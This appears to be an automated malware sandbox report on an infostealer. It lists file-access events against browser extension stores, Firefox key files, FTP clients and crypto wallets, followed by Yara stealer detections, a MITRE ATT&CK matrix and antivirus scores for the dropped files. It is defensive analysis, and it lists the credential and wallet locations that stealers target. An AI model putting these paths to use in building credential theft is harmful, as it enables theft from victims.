Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\JDSOXXXWOA
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\UQMPCTZARJ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	Directory queried: C:\Users\user\Documents

Source: Yara match	File source: 00000000.00000003.2167800399.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184520949.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184690433.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184075512.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2168617103.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184807186.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2184381596.0000000000D64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 09d417a7c4.exe PID: 7836, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000D.00000003.2892795136.000000000189F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 29af563a7b.exe PID: 2792, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 09d417a7c4.exe PID: 7836, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 39.2.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RLX7QEJ1ATLQN8ECDIPHB.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.num.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.353ab0ae6e.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.SOZIL3CYM3GR68KV3Z4.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.353ab0ae6e.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.3142989520.0000000000771000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3147195806.000000000158E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2897071906.00000000005EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2828087899.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3188496259.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2785659167.0000000005500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3055944395.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2898017549.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2316405109.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3041756077.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2950368686.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2356707937.00000000000D1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2357660473.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3191784603.0000000001717000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2826208289.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2877490551.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3039874893.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.3096831716.0000000000AB1000.00000080.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RLX7QEJ1ATLQN8ECDIPHB.exe PID: 2680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 353ab0ae6e.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001245001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001245001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0BSU3F1DFM4GF1Y0TBRRGTML6V.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001244001\29af563a7b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RLX7QEJ1ATLQN8ECDIPHB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RETV5V6Q4X285DV6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GKAQCOVK40X0NN7A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001245001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A1B0VWLBQG1NHHVW3B7EOUSWCWB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\1001242001\09d417a7c4.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
